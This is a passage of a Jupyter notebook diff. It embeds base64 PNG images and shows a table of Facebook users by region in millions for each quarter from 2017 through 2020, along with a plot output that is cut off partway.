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" + } + }, + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Facebook users by region, millions\n", + "![image.png](attachment:image.png)" + ] + }, + { + "cell_type": "code", + "execution_count": 136, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Table :\n", + "\n", + " Quarter US & Canada Europe Asia_Pacific Rest_of_World\n", + "0 Q1 2017 234 354 716 632\n", + "1 Q2 2017 236 360 756 654\n", + "2 Q3 2017 239 364 794 675\n", + "3 Q4 2017 239 370 828 692\n", + "4 Q1 2018 241 377 873 705\n", + "5 Q2 2018 241 376 894 723\n", + "6 Q3 2018 242 375 917 736\n", + "7 Q4 2018 242 381 947 750\n", + "8 Q1 2019 243 384 981 768\n", + "9 Q2 2019 244 385 1003 782\n", + "10 Q3 2019 247 387 1013 802\n", + "11 Q4 2019 248 394 1038 817\n", + "12 Q1 2020 253 406 1093 851\n", + "13 Q2 2020 256 410 1142 892\n", + "14 Q3 2020 255 413 1166 906\n", + "15 Q4 2020 258 419 1199 921\n" + ] + }, + { + "data": { + "image/png": "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CNAAAAAAoIMADQAAAAA6rLH3QFuRO+64I4sXL85tt9026K6wErNnz87mm2+etddee9BdAQAAAEgywwK0xYsXZ7311ssWW2yRqhp0d1hOay033nhjFi9enC233HLQ3QEAAABIMsMu4bztttuy8cYbC8+GVFVl4403doYgAAAAMFRmVICWRHg25Hw/AAAAwLCZcQEaAAAAAIzHzA7QqlbvzxhcddVVmTNnzt2WHXnkkTn66KPz/e9/P7vsskvmzp2bbbbZJkceeeSybb785S9n2223zZw5c/K2t73tHsf95Cc/mTlz5mS77bbLtttum6OPPvpelWZVlvYZAAAAYE03ox4iMOwOOuigfO5zn8uOO+6YJUuW5NJLL1227vWvf33OOOOMbLnllrnyyivvtt/Xv/71/Od//me++c1vZrPNNsttt92WT33qU1PdfQAAAIA10sw+A23IXH/99dl0002TJGuttVa23XbbZevue9/7ZvHixUlyjydUvvvd787RRx+dzTbbLEkye/bsvPzlL0+S/Pd//3d23nnn7LjjjnnOc56TP/7xj0mSgw8+OK997Wuz66675pGPfGS+8IUvJEl+//vfZ88998xjH/vYbL/99jnttNOWtXPUUUdl6623zl577XW3cG9lbQAAAACsCQRoQ+QNb3hDtt566zz72c/Of/3Xfy17GuVdd92VbbbZJocccsg9zj5LkgsvvDA77bTTCo/5N3/zN/nRj36Un/zkJ9lmm21y/PHHL1t37bXX5uyzz85XvvKVHHbYYUl64dupp56aH//4xznrrLPyxje+Ma21nHfeeTn55JNz/vnn54tf/GJ+9KMfjakNAAAAgOlOgDbFVvaUyarKO97xjixcuDBPfepT85nPfCb77LNPkuQDH/hAtttuu3z4wx/OvvvumxtuuCE//OEPs//++6+yvQsvvDBPetKTsv322+fEE0/MRRddtGzdfvvtl/vc5z7Zdtttc9111yVJWmt561vfmh122CF77bVXfv3rX+e6667Ld7/73Tz72c/Ouuuum/XXXz/PfOYzx9QGAAAAwHQnQJtiG2+8cW6++ea7LbvpppuyySabJEke9ahH5VWvelXOPPPM/OQnP8mNN96Yb3zjG9lzzz2z11575R3veEee/vSn55Of/GSe97znJUm22267nHfeeSts7+CDD84HP/jB/PSnP80RRxyx7Ky2JLnf/e637HVrLUly4okn5oYbbsh5552XRYsW5SEPeciyfVYW/nW1AQAAADDdCdCm2AMe8IBsuummOfPMM5P0wrP/+Z//yROf+MR89atfXRZkXXbZZVlrrbWywQYb5DGPeUw+/elP56677spzn/vcbLXVVvnMZz6Tpz/96UmSww8/PG9+85vzm9/8Jkly++2355hjjkmS3Hrrrdl0001zxx135MQTT1xl/2655ZY8+MEPztprr52zzjorv/zlL5Mku+++e0499dT86U9/yq233povf/nLy/YZbxsAAAAA08nMfgpnP6yaap/85Cfz6le/Om984xuTJEcccUQe9ahH5W1ve1ve8IY3ZN11182sWbNy4oknZq211srb3va2/P3f/33mzJmTddZZJ09+8pPzile8Ii984Qtzyimn5GlPe1quu+667LXXXmmtpapyyCGHJEn+5V/+Jbvsskse8YhHZPvtt8+tt97a2bcXvehF2XfffTNv3rzMnTs3f/VXf5UkeexjH5vnPe95mTt3bh7xiEfkSU960rJ9xtsGAAAAwHRSbUAh0mSbN29eW7hw4d2WXXzxxdlmm20G1CPGyvcEAAAADEJVnddam7f8cpdwAgAAAEAHARoAAAAAdBCgAQAAAEAHARoAAAAAdJi0AK2qPlZV11fVhaOW/XtVXVJVF1TVqVW1wah1h1fV5VV1aVXtPWr5TlX10/66Y6qqJqvPAAAAALC8yTwD7RNJ9llu2beSzGmt7ZDk50kOT5Kq2jbJ85Ns19/nQ1W1Vn+fDyc5NMlW/Z/ljwkAAAAAk2bSArTW2neS3LTcsm+21u7sv/1+ks37r5+V5OTW2u2ttSuTXJ7kcVW1aZL1W2vnttZakk8m2W919bFq9f6MxVprrZW5c+cu+3nPe96zuj4OAAAAAJNg1gDbPiTJZ/uvH5peoLbU4v6yO/qvl1++QlV1aHpnq2X2xrMz77h5d1v/3rnvTbuhjVqy7UT7vkI/u+Fnq9zmfrPvl8986zPj3i9J7rzzzsyaNcivbGr85tbf5IDjDhh0NwAAAGBgzjvvvAntt9NOO417n1tvHX9b6603/nams4GkMVX1tiR3Jjlx6aIVbNY6lq9Qa+24JMclybx589rCQxfebf3FF1+cbR60zUS6PCbbPmjVgdx96j4r3G6LLbbIwoULs8kmm2ThwoV505velAULFuTII4/MNddck6uuuiqbbLJJ3v3ud+eQQw7JDTfckAc96EH5+Mc/noc//OE5+OCDM3v27Fx00UW57rrr8r73vS/PeMYzsmTJkhx22GFZsGBBbr/99rz61a/OK17xisn4+KtN/V9l+e8OAAAAZpKJ3gJ+YRv//08vWDD+tubPXzP/v71eseJaTHmAVlUHJXlGkj37l2UmvTPLHjZqs82TXNNfvvkKlk9bf/rTnzJ37txl7w8//PA873nP69znvPPOy9lnn5111lkn++67bw488MAcdNBB+djHPpbXvva1+dKXvpQkueqqq/Ltb387V1xxRfbYY49cfvnl+eQnP5kHPvCB+dGPfpTbb789u+22W5761Kdmyy23nMRPCQAAALDmmNIArar2SfKWJE9urf1x1KrTk3ymqt6XZLP0Hhbww9bakqq6taoen+QHSQ5M8oGp7PPqts4662TRokXj2ueZz3xm1llnnSTJueeemy9+8YtJkgMOOCBvfvObl2333Oc+N/e5z32y1VZb5ZGPfGQuueSSfPOb38wFF1yQL3zhC0mSW